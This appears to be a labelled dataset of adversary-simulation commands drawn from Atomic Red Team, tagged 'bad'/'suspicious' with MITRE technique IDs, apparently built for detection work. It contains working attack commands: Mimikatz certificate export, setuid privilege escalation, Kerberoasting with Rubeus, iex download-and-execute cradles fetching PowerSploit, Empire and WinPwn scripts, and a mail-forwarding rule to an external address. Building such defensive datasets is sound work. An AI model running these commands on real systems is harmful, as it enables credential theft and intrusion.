df190f218389208df321ab12,try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { },try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { },bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Export Root Certificate with Export-Certificate,T1552.004,"[""T1552.004""]",windows,0.55,True,"Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e2048a3a029eb3aeea2d2833,"""#{mimikatz_exe}"" ""crypto::certificates /systemstore:local_machine /store:my /export"" exit","""#{mimikatz_exe}"" ""crypto::certificates /systemstore:local_machine /store:my /export"" exit",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Export Certificates with Mimikatz,T1552.004,"[""T1552.004""]",windows,0.9,False,"The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
54ecd079c974302ac53620a2,cp #{payload} /tmp/hello.c sudo chown root /tmp/hello.c sudo make /tmp/hello sudo chown root /tmp/hello sudo chmod u+s /tmp/hello /tmp/hello,cp #{payload} /tmp/hello.c sudo chown root /tmp/hello.c sudo make /tmp/hello sudo chown root /tmp/hello sudo chmod u+s /tmp/hello /tmp/hello,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Make and modify binary from C source,T1548.001,"[""T1548.001""]","macos,linux",0.9,False,"Make, change owner, and change file attributes on a C source code file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7f365b677d0a0705ec182fcf,sudo rm /tmp/hello sudo rm /tmp/hello.c,sudo rm /tmp/hello sudo rm /tmp/hello.c,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Make and modify binary from C source,T1548.001,"[""T1548.001""]","macos,linux",0.55,True,"Make, change owner, and change file attributes on a C source code file
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
49ac3fd35ab58a3aa270a16f,cp #{payload} /tmp/hello.c chown root /tmp/hello.c make /tmp/hello chown root /tmp/hello chmod u+s /tmp/hello /tmp/hello,cp #{payload} /tmp/hello.c chown root /tmp/hello.c make /tmp/hello chown root /tmp/hello chmod u+s /tmp/hello /tmp/hello,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Make and modify binary from C source (freebsd),T1548.001,"[""T1548.001""]",linux,0.9,False,"Make, change owner, and change file attributes on a C source code file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2065da781747f0dff77bb70a,rm /tmp/hello rm /tmp/hello.c,rm /tmp/hello rm /tmp/hello.c,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Make and modify binary from C source (freebsd),T1548.001,"[""T1548.001""]",linux,0.55,True,"Make, change owner, and change file attributes on a C source code file
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c18366fbcb719d90e96143b,sudo touch #{file_to_setuid} sudo chown root #{file_to_setuid} sudo chmod u+xs #{file_to_setuid},sudo touch #{file_to_setuid} sudo chown root #{file_to_setuid} sudo chmod u+xs #{file_to_setuid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Set a SetUID flag on file,T1548.001,"[""T1548.001""]","macos,linux",0.9,False,"This test sets the SetUID flag on a file in FreeBSD.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
585f68a68ffb666a47d39de1,sudo rm #{file_to_setuid},sudo rm #{file_to_setuid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Set a SetUID flag on file,T1548.001,"[""T1548.001""]","macos,linux",0.55,True,"This test sets the SetUID flag on a file in FreeBSD.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20032040d221481d05315c44,touch #{file_to_setuid} chown root #{file_to_setuid} chmod u+xs #{file_to_setuid},touch #{file_to_setuid} chown root #{file_to_setuid} chmod u+xs #{file_to_setuid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Set a SetUID flag on file (freebsd),T1548.001,"[""T1548.001""]",linux,0.9,False,"This test sets the SetUID flag on a file in FreeBSD.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cfcdb369f0b3b9b511ddb251,rm #{file_to_setuid},rm #{file_to_setuid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Set a SetUID flag on file (freebsd),T1548.001,"[""T1548.001""]",linux,0.55,True,"This test sets the SetUID flag on a file in FreeBSD.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
efaab1a43a5b19013db321b7,sudo touch #{file_to_setuid} sudo chown root #{file_to_setuid} sudo chmod g+xs #{file_to_setuid},sudo touch #{file_to_setuid} sudo chown root #{file_to_setuid} sudo chmod g+xs #{file_to_setuid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Set a SetGID flag on file,T1548.001,"[""T1548.001""]","macos,linux",0.9,False,"This test sets the SetGID flag on a file in Linux and macOS.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c0f95b5754239a258ab12d76,touch #{file_to_setuid} chown root #{file_to_setuid} chmod g+xs #{file_to_setuid},touch #{file_to_setuid} chown root #{file_to_setuid} chmod g+xs #{file_to_setuid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Set a SetGID flag on file (freebsd),T1548.001,"[""T1548.001""]",linux,0.9,False,"This test sets the SetGID flag on a file in FreeBSD.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0e04414e22799129c28b8026,cp #{payload} /tmp/cap.c make /tmp/cap sudo setcap cap_setuid=ep /tmp/cap /tmp/cap,cp #{payload} /tmp/cap.c make /tmp/cap sudo setcap cap_setuid=ep /tmp/cap /tmp/cap,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Make and modify capabilities of a binary,T1548.001,"[""T1548.001""]",linux,0.9,False,"Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.
The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.
Without being owned by root, the binary can set the UID to 0.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5cf2e6d96886b9823165bb08,rm /tmp/cap rm /tmp/cap.c,rm /tmp/cap rm /tmp/cap.c,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Make and modify capabilities of a binary,T1548.001,"[""T1548.001""]",linux,0.55,True,"Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.
The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.
Without being owned by root, the binary can set the UID to 0.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
94cd1e4e91df5e89a12a5f60,touch #{file_to_setcap} sudo setcap cap_setuid=ep #{file_to_setcap},touch #{file_to_setcap} sudo setcap cap_setuid=ep #{file_to_setcap},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Provide the SetUID capability to a file,T1548.001,"[""T1548.001""]",linux,0.9,False,"This test gives a file the capability to set UID without using flags.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3859d511734b76b414b1b19b,rm #{file_to_setcap},rm #{file_to_setcap},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Provide the SetUID capability to a file,T1548.001,"[""T1548.001""]",linux,0.55,True,"This test gives a file the capability to set UID without using flags.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b24d37253b25e215702c2eb1,find /usr/bin -perm -4000,find /usr/bin -perm -4000,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Do reconnaissance for files that have the setuid bit set,T1548.001,"[""T1548.001""]",linux,0.9,False,"This test simulates a command that can be run to enumerate files that have the setuid bit set
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b4194b18abc2ad5e576abc66,find /usr/bin -perm -2000,find /usr/bin -perm -2000,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.001/T1548.001.yaml,Do reconnaissance for files that have the setgid bit set,T1548.001,"[""T1548.001""]",linux,0.9,False,"This test simulates a command that can be run to enumerate files that have the setgid bit set
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
67ce81c149db76aa9cc98017,"cmd.exe /c ""#{local_folder}\#{local_executable}"" asreproast /outfile:""#{local_folder}\#{out_file}""","cmd.exe /c ""#{local_folder}\#{local_executable}"" asreproast /outfile:""#{local_folder}\#{out_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.004/T1558.004.yaml,Rubeus asreproast,T1558.004,"[""T1558.004""]",windows,0.9,False,"Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a107ac6a912d1505fa99a18,"Remove-Item ""#{local_folder}\#{out_file}"" -ErrorAction Ignore","Remove-Item ""#{local_folder}\#{out_file}"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.004/T1558.004.yaml,Rubeus asreproast,T1558.004,"[""T1558.004""]",windows,0.55,True,"Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9a1a802b3fd41f744d2cf289,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.004/T1558.004.yaml,Get-DomainUser with PowerView,T1558.004,"[""T1558.004""]",windows,0.9,False,"Utilizing PowerView, run Get-DomainUser to identify domain users. Upon execution, progress and info about users within the domain being scanned will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9374e90b2508adf8b0a95751,"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1') Invoke-Rubeus -Command ""asreproast /format:hashcat /nowrap""","iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1') Invoke-Rubeus -Command ""asreproast /format:hashcat /nowrap""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.004/T1558.004.yaml,WinPwn - PowerSharpPack - Kerberoasting Using Rubeus,T1558.004,"[""T1558.004""]",windows,0.9,False,PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff3123031676e4031f8ac363,"$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds New-InboxRule -Name ""#{rule_name}"" -ForwardTo ""#{forwarding_email}""","$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds New-InboxRule -Name ""#{rule_name}"" -ForwardTo ""#{forwarding_email}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1114.003/T1114.003.yaml,Office365 - Email Forwarding,T1114.003,"[""T1114.003""]",office-365,0.9,False,"Creates a new Inbox Rule to forward emails to an external user via the ""ForwardTo"" property of the New-InboxRule Powershell cmdlet.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
435431de1db7b36fb9fbf2c7,"$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Get-InboxRule | Where-Object { $_.Name -eq ""#{rule_name}"" | ForEach-Object { Remove-InboxRule -Identity $_.Identity -Force -Confirm:$False }","$secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Get-InboxRule | Where-Object { $_.Name -eq ""#{rule_name}"" | ForEach-Object { Remove-InboxRule -Identity $_.Identity -Force -Confirm:$False }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1114.003/T1114.003.yaml,Office365 - Email Forwarding,T1114.003,"[""T1114.003""]",office-365,0.55,True,"Creates a new Inbox Rule to forward emails to an external user via the ""ForwardTo"" property of the New-InboxRule Powershell cmdlet.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
94126dbb0505c60c7bc3d977,"# Check for common debugger processes $debuggerProcesses = Get-Process | Where-Object { $_.ProcessName -match ""dbg"" -or $_.ProcessName -match ""debug"" } # Check for debugging flags $debuggingFlags = [System.Diagnostics.Debugger]::IsAttached","# Check for common debugger processes $debuggerProcesses = Get-Process | Where-Object { $_.ProcessName -match ""dbg"" -or $_.ProcessName -match ""debug"" } # Check for debugging flags $debuggingFlags = [System.Diagnostics.Debugger]::IsAttached",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1622/T1622.yaml,Detect a Debugger Presence in the Machine,T1622,"[""T1622""]",windows,0.9,False,Detecting a running debugger process or if the debugger is attached to a process via PowerShell,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
22f303fcaf20ccf3f89d7027,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing) Invoke-Kerberoast | fl,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing) Invoke-Kerberoast | fl,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.003/T1558.003.yaml,Request for service tickets,T1558.003,"[""T1558.003""]",windows,0.9,False,"This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1
The following are further sources and credits for this attack:
[Kerberoasting Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)
[Invoke-Kerberoast source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
when executed successfully , the test displays available services with their hashes. 
If the testing domain doesn't have any service principal name configure",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4600b86fd216d18adaed1a7a,"klist purge cmd.exe /c ""#{local_folder}\#{local_executable}"" kerberoast #{flags} /outfile:""#{local_folder}\#{out_file}""","klist purge cmd.exe /c ""#{local_folder}\#{local_executable}"" kerberoast #{flags} /outfile:""#{local_folder}\#{out_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.003/T1558.003.yaml,Rubeus kerberoast,T1558.003,"[""T1558.003""]",windows,0.9,False,"Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b7268db67f4dbb294e002b5c,"Remove-Item ""#{local_folder}\#{out_file}"" -ErrorAction Ignore","Remove-Item ""#{local_folder}\#{out_file}"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.003/T1558.003.yaml,Rubeus kerberoast,T1558.003,"[""T1558.003""]",windows,0.55,True,"Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df71086c167447bbbd964ce0,setspn -T #{domain_name} -Q */*,setspn -T #{domain_name} -Q */*,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.003/T1558.003.yaml,Extract all accounts in use as SPN using setspn,T1558.003,"[""T1558.003""]",windows,0.9,False,"The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output all the SPNs for the related domain. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aae6efb306d9e8562b4108e5,"Add-Type -AssemblyName System.IdentityModel $ComputerFQDN=$env:LogonServer.trimStart('\') + ""."" + $env:UserDnsDomain New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList ""HTTP/$ComputerFQDN""","Add-Type -AssemblyName System.IdentityModel $ComputerFQDN=$env:LogonServer.trimStart('\') + ""."" + $env:UserDnsDomain New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList ""HTTP/$ComputerFQDN""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.003/T1558.003.yaml,Request A Single Ticket via PowerShell,T1558.003,"[""T1558.003""]",windows,0.9,False,"The following test will utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output the SPNs for the endpoint in question.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
01f8ae8e00a3caa2ca341d8f,"Add-Type -AssemblyName System.IdentityModel setspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }","Add-Type -AssemblyName System.IdentityModel setspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.003/T1558.003.yaml,Request All Tickets via PowerShell,T1558.003,"[""T1558.003""]",windows,0.9,False,"The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output the SPNs for the domain in question.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ecbdae5d951cb5ae886629f,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Kerberoasting -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Kerberoasting -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.003/T1558.003.yaml,WinPwn - Kerberoasting,T1558.003,"[""T1558.003""]",windows,0.9,False,Kerberoasting technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
03a5d124f421309e69be3185,"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1') Invoke-Rubeus -Command ""kerberoast /format:hashcat /nowrap""","iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1') Invoke-Rubeus -Command ""kerberoast /format:hashcat /nowrap""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1558.003/T1558.003.yaml,WinPwn - PowerSharpPack - Kerberoasting Using Rubeus,T1558.003,"[""T1558.003""]",windows,0.9,False,PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c519d21c09a69fb39b77613,"if (systemd-detect-virt) then echo ""Virtualization Environment detected""; fi; if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo ""Virtualization Environment detected""; fi;","if (systemd-detect-virt) then echo ""Virtualization Environment detected""; fi; if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo ""Virtualization Environment detected""; fi;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1497.001/T1497.001.yaml,Detect Virtualization Environment (Linux),T1497.001,"[""T1497.001""]",linux,0.9,False,"systemd-detect-virt detects execution in a virtualized environment.
At boot, dmesg stores a log if a hypervisor is detected.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c0d7f0b3674bd122fc71b6db,"if [ ""$(sysctl -n hw.hv_vendor)"" != """" ]; then echo ""Virtualization Environment detected""; fi","if [ ""$(sysctl -n hw.hv_vendor)"" != """" ]; then echo ""Virtualization Environment detected""; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1497.001/T1497.001.yaml,Detect Virtualization Environment (FreeBSD),T1497.001,"[""T1497.001""]",linux,0.9,False,"Detects execution in a virtualized environment.
At boot, dmesg stores a log if a hypervisor is detected.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7270f466f12cadd7dd218440,"$error.clear() Get-WmiObject -Query ""SELECT * FROM MSAcpi_ThermalZoneTemperature"" -ErrorAction SilentlyContinue if($error) {echo ""Virtualization Environment detected""}","$error.clear() Get-WmiObject -Query ""SELECT * FROM MSAcpi_ThermalZoneTemperature"" -ErrorAction SilentlyContinue if($error) {echo ""Virtualization Environment detected""}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1497.001/T1497.001.yaml,Detect Virtualization Environment (Windows),T1497.001,"[""T1497.001""]",windows,0.9,False,"Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c232e3fe955916cc9a8112c2,if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;,if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1497.001/T1497.001.yaml,Detect Virtualization Environment via ioreg,T1497.001,"[""T1497.001""]",macos,0.9,False,"ioreg contains registry entries for all the device drivers in the system. If it's a virtual machine, one of the device manufacturer will be a Virtualization Software.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2d225e3b67b7d045bc879a7d,"$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty ""Manufacturer"" $Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty ""Model"" if((($Manufacturer.ToLower() -eq ""microsoft corporation"") -and ($Model.ToLower().contains(""virtual""))) -or ($Manufacturer.ToLower().contains(""vmware"")) -or ($Model.ToLower() -eq ""virtualbox"")) {write-host ""Virtualization environment detected!""} else {write-host ""No virtualization environment detected!""}","$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty ""Manufacturer"" $Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty ""Model"" if((($Manufacturer.ToLower() -eq ""microsoft corporation"") -and ($Model.ToLower().contains(""virtual""))) -or ($Manufacturer.ToLower().contains(""vmware"")) -or ($Model.ToLower() -eq ""virtualbox"")) {write-host ""Virtualization environment detected!""} else {write-host ""No virtualization environment detected!""}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1497.001/T1497.001.yaml,Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows),T1497.001,"[""T1497.001""]",windows,0.9,False,"Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
64637fcb3fde324f366991fd,"if [ ""$(sysctl -n hw.model | grep -v 'Mac')"" != """" ]; then echo 'Virtualization Environment detected'; fi;","if [ ""$(sysctl -n hw.model | grep -v 'Mac')"" != """" ]; then echo 'Virtualization Environment detected'; fi;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1497.001/T1497.001.yaml,Detect Virtualization Environment using sysctl (hw.model),T1497.001,"[""T1497.001""]",macos,0.9,False,"sysctl hw.model will return the model name of the hardware(Macmini8,1, MacBookAir10,1, etc.) in case of native Apple hardware
but will return the hypervisor name (VMware7,0).
Reference: https://evasions.checkpoint.com/src/MacOS/macos.html#hardware-model
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2b6719cf27973d604f60be48,"if [ ""$(csrutil status | grep -v 'enabled')"" != """" ]; then echo 'Possible Virtualization Environment detected'; fi;","if [ ""$(csrutil status | grep -v 'enabled')"" != """" ]; then echo 'Possible Virtualization Environment detected'; fi;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1497.001/T1497.001.yaml,Check if System Integrity Protection is enabled,T1497.001,"[""T1497.001""]",macos,0.9,False,"The latest versions of macOS have the System Integrity Protection feature (SIP). If a sandbox uses a non-signed 
kernel extension for monitoring purposes the, SIP feature must be disabled to load this kind of kernel extension.
Malware may check if the SIP is enabled.
Reference: https://evasions.checkpoint.com/src/MacOS/macos.html#sip
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
